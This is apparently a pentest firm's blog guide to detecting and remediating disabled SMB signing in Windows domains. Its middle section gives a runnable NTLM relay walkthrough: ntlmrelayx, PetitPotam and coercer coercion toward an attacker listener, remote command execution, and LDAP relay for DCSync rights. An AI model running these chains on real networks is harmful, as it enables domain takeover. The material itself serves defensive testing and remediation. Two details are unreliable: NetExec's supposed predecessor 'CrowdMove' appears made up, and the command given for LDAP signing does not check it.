Fix SMB Signing Disabled Vulnerability: Full Guide

SMB signing disabled is one of those findings that shows up in almost every internal network penetration test report, yet it consistently gets deprioritized because it does not look as dramatic as a Domain Admin compromise on its own. In practice, it is frequently the exact mechanism that makes a Domain Admin compromise possible in the first place, since it is the foundation that SMB relay attacks depend on. The internal network assessments run by www.sagefoxusa.com flag this misconfiguration on nearly every engagement, regardless of industry or environment size.

This guide covers exactly what SMB signing does, how to detect which hosts on your network have it disabled, how attackers weaponize that gap through relay attacks, and the concrete remediation steps needed to close it across a Windows environment.

What SMB Signing Actually Protects Against

SMB (Server Message Block) is the protocol Windows systems use for file sharing, printer access, and a range of other network services. SMB signing adds a cryptographic signature to each SMB packet, allowing the receiving system to verify that the packet genuinely came from the claimed sender and was not modified or replayed in transit.

When SMB signing is disabled or only set to "if server agrees" rather than required, an attacker positioned on the network can intercept an authentication attempt from one machine and relay it to another machine that will accept it, effectively authenticating as the original user without ever knowing their password. This is the foundation of SMB relay attacks, and it remains one of the most reliable paths from a foothold on a network to full domain compromise.

Why This Vulnerability Persists in So Many Environments

SMB signing being disabled by default on workstations, while often required on domain controllers, is a legacy Windows configuration that many organizations never fully corrected. Group Policy needs to be explicitly configured to require signing on all machines, not just domain controllers, and this step gets missed frequently during initial AD deployment and never revisited afterward.

Performance concerns from older hardware also contributed historically, since SMB signing adds a small computational overhead to every file operation, though this is effectively negligible on any modern hardware and should not be treated as a valid reason to leave it disabled today.

Detecting SMB Signing Status Across Your Network

Using NetExec for Bulk Detection

NetExec, the actively maintained successor to CrowdMove and the older crackmapexec project, is the standard tool for quickly checking SMB signing status across an entire subnet.

bash

netexec smb 10.10.10.0/24

The output flags each host's signing status directly in the scan results, allowing you to quickly identify which machines across a large subnet are vulnerable without needing to check each one individually.

Filtering Specifically for Signing Disabled Hosts

bash

netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

This command specifically generates a clean list of hosts with signing disabled, formatted and ready to feed directly into a relay attack tool for demonstration purposes during an assessment.

Manual Verification With Nmap

bash

nmap --script smb2-security-mode -p 445 10.10.10.15

The Nmap script output explicitly states whether message signing is enabled, disabled, or required, giving a quick single-host confirmation when you want to verify a finding independently of your primary scanning tool.

Checking Signing Status Locally on a Windows Host

For validating findings directly on a machine you have access to, PowerShell can confirm the local SMB configuration.

powershell

Get-SmbServerConfiguration | Select RequireSecuritySignature, EnableSecuritySignature

A RequireSecuritySignature value of False confirms the host will accept unsigned SMB connections, making it a valid relay target.

Demonstrating the Impact: SMB Relay Attack Walkthrough

Detection alone often does not convey the real risk to stakeholders. Demonstrating an actual relay attack, safely and within agreed engagement scope, shows exactly what an attacker gains from this misconfiguration. This is a step the team at www.sagefoxusa.com walks through carefully with clients beforehand, since coercion-based demonstrations touch live infrastructure and need clear sign off.

Setting Up ntlmrelayx

Impacket's ntlmrelayx.py remains the core tool for executing SMB relay attacks against identified targets.

bash

ntlmrelayx.py -tf relay_targets.txt -smb2support

This starts a listener that will relay any captured NTLM authentication attempt to the hosts listed in your target file, provided those hosts have signing disabled.

Coercing Authentication to the Relay Listener

A relay attack needs a source of incoming authentication to capture. Various coercion techniques force a machine, ideally one with elevated privileges, to authenticate toward your listener.

bash

python3 PetitPotam.py -u lowpriv -p 'Password123!' -d target.local <attacker-ip> <target-host-ip>

Alternative coercion methods using printerbug.py or coercer achieve the same outcome through different underlying RPC calls, and having several options available matters since some environments patch specific coercion vectors while leaving others open.

bash

python3 coercer coerce -u lowpriv -p 'Password123!' -d target.local -t <target-host-ip> -l <attacker-ip>

Observing the Relayed Session

Once authentication is coerced and relayed successfully, ntlmrelayx typically dumps the SAM database, local admin hashes, or executes a specified command on the target, depending on how it was configured to act on a successful relay.

bash

ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami"

Successfully executing an arbitrary command on a target machine using nothing but a relayed authentication attempt from an unrelated host demonstrates the real-world severity of signing being disabled far more clearly than a scan result alone ever could. This kind of live demonstration is standard practice in the internal network assessments run by www.sagefoxusa.com, since stakeholders consistently prioritize findings differently once they see the actual attack path in action.

Relaying to LDAP for Domain Object Manipulation

SMB relay attacks are not limited to file share access. Relaying a captured authentication to LDAP instead of SMB can allow an attacker to modify Active Directory objects directly, depending on the privileges of the relayed account.

bash

ntlmrelayx.py -t ldap://dc01.target.local -smb2support

If the relayed account holds sufficient privileges, this can be used to add a computer object or grant the attacker's controlled account dangerous permissions like DCSync rights, chaining directly into the kind of Active Directory attack paths covered in earlier assessments involving BloodHound and AD CS.

Root Cause Analysis: Why Specific Hosts Are Vulnerable

Group Policy Not Applied Consistently

The most common root cause is a Group Policy Object requiring SMB signing that exists in the domain but is not linked to every relevant Organizational Unit, leaving specific machine groups, often workstations added after the policy was originally created, outside its scope.

powershell

Get-GPOReport -All -ReportType Html -Path C:\reports\gpo_report.html

Reviewing the generated report against your OU structure quickly reveals whether the signing requirement policy is actually linked everywhere it needs to be.

Legacy or Unmanaged Devices

Devices outside standard domain management, older network attached storage appliances, print servers, or legacy application servers, frequently fall outside Group Policy's reach entirely and require manual configuration or replacement.

Local Configuration Overrides

In rare cases, a local administrator may have manually disabled signing on a specific machine to resolve a compatibility issue with older software, without realizing the security implications of that change.

Fixing SMB Signing Through Group Policy

Configuring the Domain-Wide Policy

Open the Group Policy Management Console and navigate to the appropriate policy object, then configure the following settings under Computer Configuration, Policies, Windows Settings, Security Settings, Local Policies, Security Options.

Set "Microsoft network client: Digitally sign communications (always)" to Enabled.

Set "Microsoft network server: Digitally sign communications (always)" to Enabled.

Applying the Policy via PowerShell for Immediate Testing

For validating the fix on a specific host before a full policy rollout, you can set the registry values directly.

powershell

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1

Forcing Group Policy Update Across the Domain

After confirming the policy is correctly configured and linked to all relevant OUs, force an update across managed machines rather than waiting for the standard refresh interval.

powershell

Invoke-GPUpdate -Computer (Get-ADComputer -Filter *).Name -Force

Re-Verifying the Fix

After policy changes propagate, re-run your original detection scan to confirm remediation across the environment.

bash

netexec smb 10.10.10.0/24

Every previously flagged host should now report signing as required. Attempting the earlier relay attack again against the same target list should fail outright, since the listener will no longer be able to complete authentication against hosts now enforcing signing.

Handling Devices That Cannot Support SMB Signing

Some legacy devices, particularly older network attached storage units or embedded systems, may experience compatibility issues or performance degradation when signing is enforced. For these cases:

• Isolate the device on a segmented VLAN with restricted access from general user workstations
• Apply strict firewall rules limiting which hosts can initiate SMB connections to the legacy device
• Plan a replacement timeline, since an unpatchable device with signing disabled represents a permanent relay target as long as it remains on the network
• Document the exception formally as an accepted risk with compensating controls, rather than leaving it as an unaddressed gap in your security posture

Additional Hardening Beyond SMB Signing Alone

SMB signing addresses the relay vector specifically, but a comprehensive defense against NTLM relay attacks generally benefits from additional layered controls.

Enabling SMB Encryption Where Supported

powershell

Set-SmbServerConfiguration -EncryptData $true

Disabling NTLM Where Kerberos Is Viable

Since NTLM authentication is the mechanism being relayed in the first place, restricting NTLM usage domain-wide in favor of Kerberos, where application compatibility allows it, removes the underlying authentication method attackers depend on for this entire attack class.

Enabling LDAP Signing and Channel Binding

Since relay attacks frequently pivot from SMB to LDAP, ensuring LDAP signing and channel binding are enforced closes off that secondary relay target even if an SMB host is somehow missed during remediation.

powershell

Get-ADObject -Filter 'objectClass -eq "domainDNS"' -Properties msDS-Behavior-Version

Common Mistakes During Remediation

Fixing Only the Hosts Flagged in the Report Without Addressing Group Policy

Manually correcting individual hosts identified during an assessment without fixing the underlying Group Policy gap means any newly joined machine will inherit the same vulnerable default configuration.

Assuming Domain Controllers Being Protected Is Sufficient

Domain controllers typically enforce signing by default, which sometimes leads teams to assume the environment is adequately protected without checking workstations and member servers, which is exactly where most relay attacks actually originate from during real engagements.

Not Retesting After Remediation

Confirming the fix through an actual retest, ideally including a repeat relay attempt against the previously vulnerable targets, is the only way to be certain the remediation was applied correctly and did not miss any hosts due to policy inheritance issues.

Best Practices for Ongoing SMB Signing Compliance

• Include SMB signing status checks as part of regular internal vulnerability scanning, not just annual penetration tests
• Audit Group Policy linkage against your current OU structure whenever new device groups or organizational units are created
• Maintain an exception list for legacy devices that cannot support signing, with documented compensating controls
• Combine SMB signing enforcement with broader NTLM relay mitigations like LDAP signing and NTLM restriction for defense in depth
• Retest after any major infrastructure change, since new devices, migrations, or acquisitions frequently introduce fresh gaps in policy coverage

Organizations looking to build this kind of periodic checking into an ongoing program, rather than waiting for the next annual test, can find more detail on continuous assessment options at www.sagefoxusa.com.

Key Takeaways

SMB signing disabled is a deceptively simple finding with outsized real-world impact, since it directly enables NTLM relay attacks that can escalate from a single low-privilege foothold to full domain compromise. Detecting it across a network takes minutes with tools like NetExec, but fixing it properly requires addressing the root cause in Group Policy rather than patching individual hosts, along with a clear plan for legacy devices that cannot support the requirement.

If your organization has not verified SMB signing enforcement across its full environment recently, the internal network penetration testing team at www.sagefoxusa.com identifies these gaps and demonstrates their real impact through controlled relay attack scenarios, giving your team the evidence and remediation guidance needed to close this attack path for good.